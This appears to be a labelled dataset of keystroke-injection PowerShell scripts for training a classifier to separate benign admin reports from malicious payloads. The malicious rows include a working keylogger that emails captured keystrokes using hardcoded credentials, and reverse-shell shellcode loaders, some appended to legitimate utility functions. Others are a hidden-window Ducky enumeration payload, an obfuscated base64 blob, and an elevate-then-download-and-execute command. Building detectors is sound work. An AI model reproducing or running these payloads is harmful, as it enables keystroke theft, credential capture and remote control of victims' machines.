Workspace"",$versionControlServer.AuthenticatedUser) enter $workingfolder = New-Object Microsoft.TeamFoundation.VersionControl.Client.WorkingFolder($tfsLocation,$localFolder) enter $workspace.CreateMapping($workingFolder) enter $filePath = $localFolder + ""\"" + $file enter $workspace.PendAdd($filePath) enter $pendingChanges = $workspace.GetPendingChanges() enter $workspace.CheckIn($pendingChanges,$checkInComments) enter $workspace.Delete() enter enter",0,0,0.849411,0.15058903
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_oape73n0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4589066e-05
"win+r enter powershell enter enter enter # Edit only this section! enter $TimesToRun = 2 enter $RunTimeP = 1 enter $From = ""key02381@gmail.com"" enter $Pass = ""lovish@123"" enter $To = ""lovishthegreat59@gmail.com"" enter $Subject = ""Keylogger Results"" enter $body = ""Keylogger Results"" enter $SMTPServer = ""smtp.mail.com"" enter $SMTPPort = ""587"" enter $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force) enter ############################ enter #requires -Version 2 enter function Start-KeyLogger($Path=""$env:temp\keylogger.txt"") enter { enter # Signatures for API Calls enter $signatures = @' enter [DllImport(""user32.dll"", CharSet=CharSet.Auto, ExactSpelling=true)] enter public static extern short GetAsyncKeyState(int virtualKeyCode); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int GetKeyboardState(byte[] keystate); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int MapVirtualKey(uint uCode, int uMapType); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); enter '@ enter enter # load signatures and make members available enter $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru enter enter # create output file enter $null = New-Item -Path $Path -ItemType File -Force enter enter try enter { enter enter # create endless loop. When user presses CTRL+C, finally-block enter # executes and shows the collected key presses enter $Runner = 0 enter while ($TimesToRun -gt $Runner) { enter $TimeStart = Get-Date enter $TimeEnd = $timeStart.addminutes($RunTimeP) enter while ($TimeEnd -gt $TimeNow) { enter Start-Sleep -Milliseconds 40 enter enter # scan all ASCII codes above 8 enter for ($ascii = 9; $ascii -le 254; $ascii++) { enter # get current key state enter $state = $API::GetAsyncKeyState($ascii) enter enter # is key pressed? enter if ($state -eq -32767) { enter $null = [console]::CapsLock enter enter # translate scan code to real code enter $virtualKey = $API::MapVirtualKey($ascii, 3) enter enter # get keyboard state for virtual keys enter $kbstate = New-Object Byte[] 256 enter $checkkbstate = $API::GetKeyboardState($kbstate) enter enter # prepare a StringBuilder to receive input key enter $mychar = New-Object -TypeName System.Text.StringBuilder enter enter # translate virtual key enter $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) enter enter if ($success) enter { enter # add key to logger file enter [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) enter } enter } enter } enter $TimeNow = Get-Date enter } enter $Runner++ enter send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl enter Remove-Item -Path $Path -force enter } enter } enter finally enter { enter # open logger file in Notepad enter exit 1 enter } enter } enter enter # records all key presses until script is aborted by pressing CTRL+C enter # will then open the file with collected key codes enter Start-KeyLogger enter enter",1,1,9.0962894e-05,0.99990904
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_ul4p8n06"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter",0,0,0.9999658,3.4174307e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_2qyi3lwn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4871846e-05
"win+r enter powershell enter enter enter Import-Module C:\git-repositories\PowerShell\MSFVMLab\MSFVMLab.psm1 -Force enter enter $LabConfig = Get-Content C:\git-repositories\PowerShell\MSFVMLab\LabVMS.json | ConvertFrom-Json enter $WorkingDirectory = $LabConfig.WorkingDirectory enter $Domain = $LabConfig.Domain enter $dc = ( $LabConfig.Servers | Where-Object {$_.Class -eq 'DomainController'}).Name enter enter $DomainCred = Import-Clixml ""$WorkingDirectory\vmlab_domainadmin.xml"" enter enter Invoke-Command -VMName $dc -ScriptBlock {. C:\Temp\VMDSC.ps1 -DName ""$using:Domain.com"" -DCred $using:DomainCred} -Credential $DomainCred enter enter",0,0,0.9994392,0.0005607551
"win+r enter powershell enter enter enter  enter function Publish-NuGetPackage enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $ManifestPath, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $NuspecPath, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $NuspecBasePath, enter enter [string[]] enter enter $Repository = @( 'nuget.org' ), enter enter [string] enter enter $PackageName, enter enter [object] enter $ApiKey enter ) enter enter Set-StrictMode -Version 'Latest' enter enter $nugetPath = Join-Path -Path $PSScriptRoot -ChildPath '..\bin\NuGet.exe' -Resolve enter if( -not $nugetPath ) enter { enter return enter } enter enter $manifest = Test-ModuleManifest -Path $ManifestPath enter if( -not $manifest ) enter { enter return enter } enter enter if( -not $PackageName ) enter { enter $PackageName = $manifest.Name enter } enter enter Push-Location -Path $NuSpecBasePath enter try enter { enter enter $nupkgPath = Join-Path -Path (Get-Location) -ChildPath ('{0}.{1}.nupkg' -f $PackageName,$manifest.Version) enter if( (Test-Path -Path $nupkgPath -PathType Leaf) ) enter { enter Remove-Item -Path $nupkgPath enter } enter enter foreach( $repoName in $Repository ) enter { enter $serverUrl = 'https://{0}' -f $repoName enter $packageUrl = '{0}/api/v2/package/{1}/{2}' -f $serverUrl,$PackageName,$manifest.Version enter try enter { enter $resp = Invoke-WebRequest -Uri $packageUrl -ErrorAction Ignore enter $publish = ($resp.StatusCode -ne 200) enter } enter catch enter { enter $publish = $true enter } enter enter if( -not $publish ) enter { enter Write-Warning ('NuGet package {0} {1} already published to {2}.' -f $PackageName,$manifest.Version,$repoName) enter continue enter } enter enter if( -not (Test-Path -Path $nupkgPath -PathType Leaf) ) enter { enter & $nugetPath pack $NuspecPath -BasePath '.' -NoPackageAnalysis enter if( -not (Test-Path -Path $nupkgPath -PathType Leaf) ) enter { enter Write-Error ('NuGet package ''{0}'' not found.' -f $nupkgPath) enter return enter } enter } enter enter $repoApiKey = $null enter if( $ApiKey -is [string] ) enter { enter $repoApiKey = $ApiKey enter } enter elseif( $ApiKey -is [hashtable] -and $ApiKey.Contains($repoName) ) enter { enter $repoApiKey = $ApiKey[$repoName] enter } enter elseif( $ApiKey ) enter { enter Write-Error ('ApiKey parmaeter must be a [string] or a [hashtable], but is a [{0}].' -f $ApiKey.GetType()) enter return enter } enter enter if( -not $repoApiKey ) enter { enter $repoApiKey = Read-Host -Prompt ('Please enter your {0} API key' -f $repoName) enter if( -not $repoApiKey ) enter { enter Write-Error -Message ('The {0} API key is required. Package not published to {1}.' -f $repoName) enter continue enter } enter } enter enter & $nugetPath push $nupkgPath -ApiKey $repoApiKey -Source $serverUrl enter enter $resp = Invoke-WebRequest -Uri $packageUrl enter $resp | Select-Object -Property 'StatusCode','StatusDescription',@{ Name = 'Uri'; Expression = { $packageUrl }} enter } enter } enter finally enter { enter Pop-Location enter } enter } enter enter",0,0,0.9999422,5.780844e-05
"win+r powershell enter cls $OS = Get-WmiObject -Class Win32_OperatingSystem -ComputerName . Switch enter ($OS.Version) { 5.0.2195 {New-Item -Name ""Windows 2000"" -Path $env:windir -Ite enter mType File} 5.1.2600 {New-Item -Name ""Windows XP"" -Path $env:windir -ItemType enter File} 5.2.3790 {New-Item -Name ""Windows XP 64-Bit"" -Path $env:windir -ItemType enter File} 6.0.6000 {New-Item -Name ""Windows Vista"" -Path $env:windir -ItemType Fi enter le} 6.0.6001 {New-Item -Name ""Windows Vista SP1"" -Path $env:windir -ItemType F enter ile} 6.0.6002 {New-Item -Name ""Windows Vista SP2"" -Path $env:windir -ItemType enter File} 6.1.7600 {New-Item -Name ""Windows 7"" -Path $env:windir -ItemType File} enter 6.1.7601 {New-Item -Name ""Windows 7 SP1"" -Path $env:windir -ItemType File} 6. enter 2.9200 {New-Item -Name ""Windows 8"" -Path $env:windir -ItemType File} enter enter",1,1,0.00038589438,0.9996141
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_p1amca2t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.508192e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_q49wmrh2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_150.json"") -Encoding UTF8 enter",0,0,0.99996626,3.3705513e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM ============================================= enter REM NullSec-SysEnum - System Enumerator enter REM Target: Windows 10/11 enter REM Author: NullSec (bad-antics) enter REM ============================================= enter REM enter REM Comprehensive Windows system enumeration: enter REM - System info (OS, architecture, domain) enter REM - Network configuration and adapters enter REM - User accounts and groups enter REM - Running processes and services enter REM - Installed software enter REM - Scheduled tasks enter REM - Firewall rules enter REM - AV/EDR detection enter REM enter REM Saves to Ducky USB storage for physical retrieval. enter REM No network exfil needed. enter REM ============================================= enter DEFINE #LABEL DUCKY enter DELAY 500 enter GUI r enter DELAY 800 enter STRINGLN powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""$d=(Get-Volume | Where-Object {$_.FileSystemLabel -eq '#LABEL'}).DriveLetter; if(-not $d){$d=(Get-Volume | Where-Object {$_.Dr enter DUCKY_REAL_END enter",1,1,5.8612106e-05,0.99994135
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_h5r6g03q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3814205e-05
"win+r enter powershell enter enter enter function New-ScriptMessage enter { enter [CmdletBinding()] enter [OutputType([string])] enter param enter ( enter [String]$Message, enter [String]$Block, enter [String]$DateFormat = 'yyyy\/MM\/dd HH:mm:ss:ff', enter $FunctionScope = ""1"" enter ) enter enter PROCESS enter { enter $DateFormat = Get-Date -Format $DateFormat enter $MyCommand = (Get-Variable -Scope $FunctionScope -Name MyInvocation -ValueOnly).MyCommand.Name enter IF ($MyCommand) enter { enter $String = ""[$DateFormat][$MyCommand]"" enter } enter ELSE enter { enter $String = ""[$DateFormat]"" enter } enter enter IF ($PSBoundParameters['Block']) enter { enter $String += ""[$Block]"" enter } enter Write-Output ""$String $Message"" enter } enter } enter enter",0,0,0.999894,0.00010592142
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_d96s4wj9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.410346e-05
"win+r powershell enter $nw4hqzptig7r0v2 = ""fOE+Mm1sZzBhbzR0I4iJYiZvYyRlbzRhY5uwqCWS18cslaVrYxI3N21nZzBl enter J2AqNyYFAEMoK3yJVVkZdz+A715RLhd8h/Jk6UFTUMSDRtMjy02c404stiTudagsp/iTUmMeWKGfBPUM enter /kkt5YfyqKQh3Ix3BGXewzLqH8aysSMOwgVLpfN6BGRE7WhAbhgoPt9VSuV8BqBUkvrQvvmve0uOCeYa enter wJ/7uI3owRCjXsfGyNLnruajU3VimUT4Dg5wgMNWHJNw4I/MKo/OUcXQ39LG9G3TkJ78LmUKZJHH0r+5 enter 0EKcIK/BnhOUhneZqkO2ONZgTNWU5rfu+JjBSBTeo1ib8Xz8/UvkqsmFSpUb7nWqmBCW3Za+2XTuketg enter FgmOC7U9D5q/mSsemeYfLaVlhggX2ZdIDILQ18dL0vNKg6OxvtEN+w+av1SUNrdCyoOMyWgArQzSZ/sq enter dUk2vwtXKvxdWkHgJ+vIqKyG6lS2VR5+Kh3G0atGNybld0fRWq6LxFLQDW2ZxMV5nLCgwkgR/xRvt094 enter Te/x/VM6Idwcq3wDjZPW8nEFFXF/13zpMNbWlGMJhkKTqlpN64Ib+lLzPt7GA93/usq8bym+8/6F59ZO enter BA5zqcceA730EN7mEK9oDHyCvR4PlhJABCsyGGX1qtvuZEgN2bmqyEJvSYLv6DCHsgNzXQrQcJbLFkjS enter X8uWn855D1TN+9BYK4LCqEerrJeWnUPmyw/DdhN/uQWBMYlT489fPkRHW2ZmSzzsRAk1yy+yrBIH+eNx enter 3iHgLvfGfd5aVby3DBMU7mfSQTIA5oPVyoQQ/evGEE8QvVBF0+MfNRJMNV1Jkoy3Ap16od26MrqPsdiy enter +dwYg3c5C4CmbxuCGFap enter enter",1,1,6.427024e-05,0.99993575
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_e2y1ejce"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.382743e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x03,0xd7,0x68,0x02,0x00,0x1f,0x92,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r powershell enter delay_medium enter unknown_key_action WINDOWS d enter delay_medium enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter enter enter delay_medium enter unknown_key_action LEFTARROW enter delay_medium enter enter enter delay_medium enter Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/ok.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath ""C:/windows/6565.txt"" -WindowStyle maximized enter enter enter",1,1,5.783629e-05,0.9999422
"win+r enter powershell enter enter enter function Send-GraphiteMetric enter { enter enter param enter ( enter [CmdletBinding(DefaultParametersetName = 'Date Object')] enter [parameter(Mandatory = $true)] enter [string]$CarbonServer, enter enter [parameter(Mandatory = $false)] enter [ValidateRange(1, 65535)] enter [int]$CarbonServerPort = 2003, enter enter [parameter(Mandatory = $true)] enter [string]$MetricPath, enter enter [parameter(Mandatory = $true)] enter [string]$MetricValue, enter enter [Parameter(Mandatory = $true, enter ParameterSetName = 'Epoch / Unix Time')] enter [ValidateRange(1, 99999999999999)] enter [string]$UnixTime, enter enter [Parameter(Mandatory = $true, enter ParameterSetName = 'Date Object')] enter [datetime]$DateTime, enter [Parameter(Mandatory = $false)] enter [switch]$TestMode, enter [Parameter(Mandatory = $false)] enter [switch]$UDP enter ) enter if ($DateTime) enter { enter enter $UnixTime = [uint64]$DateTime.ToUniversalTime() enter } enter $metric = $MetricPath + "" "" + $MetricValue + "" "" + $UnixTime enter enter Write-Verbose ""Metric Received: $metric"" enter enter $sendMetricsParams = @{ enter ""CarbonServer"" = $CarbonServer enter ""CarbonServerPort"" = $CarbonServerPort enter ""Metrics"" = $metric enter ""IsUdp"" = $UDP enter ""TestMode"" = $TestMode enter } enter enter SendMetrics @sendMetricsParams enter } enter $ORFa = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ORFa -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x67,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$4c8H=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($4c8H.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$4c8H,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1604256e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_983xvkgc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4249413e-05
win enter enter win b ctrl l ctrl l www.youtube.com enter enter ctrl t ctrl l ctrl l www.facebook.com enter enter ctrl t ctrl l ctrl l https://www.nytimes.com/ enter enter ctrl t ctrl l ctrl l <link to your site> enter enter ctrl d ctrl t ctrl l ctrl l instagram.com enter enter ctrl t ctrl l ctrl l twitter.com enter enter ctrl t ctrl l ctrl l whatsapp.com enter enter ctrl t ctrl l ctrl l pinterest.com enter enter ctrl t ctrl l ctrl l microsoft.com enter enter ctrl t ctrl l ctrl l imdb.com enter enter ctrl t ctrl l ctrl l netflix.com enter enter ctrl t ctrl l ctrl l apple.com enter enter ctrl t ctrl l ctrl l globo.com enter enter ctrl t ctrl l ctrl l translate.google.com enter enter ctrl t ctrl l ctrl l it.wikipedia.org enter enter ctrl t ctrl l ctrl l openai.com enter enter ctrl t ctrl l ctrl l,1,1,0.00041566847,0.9995844
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_8oyrr7kt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_20.json"") -Encoding UTF8 enter",0,0,0.99996626,3.3698187e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_f0omw9hl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.json"") -Encoding UTF8 enter",0,0,0.9999659,3.404283e-05
"win+r enter powershell enter enter enter $VerbosePreference = 'Continue' enter $ErrorActionPreference = 'Stop' enter enter try { enter $baseDir = $PSScriptRoot enter $buildDir = ""$baseDir\build enter uget"" enter $nugetExe = ""$baseDir\vendor tab ools enter uget.exe"" enter $targetBase = ""tools"" enter enter Write-Verbose ""Running in $baseDir"" enter Write-Verbose ""Building to $buildDir"" enter enter $version = git.exe describe --abbrev=0 --tags enter Write-Verbose ""Version $version"" enter enter Write-Verbose ""Creating $buildDir"" enter mkdir $buildDir enter Write-Verbose ""Building package"" enter &$nugetExe pack ""$baseDir\Pester.nuspec"" -OutputDirectory $buildDir -NoPackageAnalysis -version $version -Properties targetBase=$targetBase enter } enter catch { enter Write-Error -ErrorRecord $_ enter exit 1 enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr 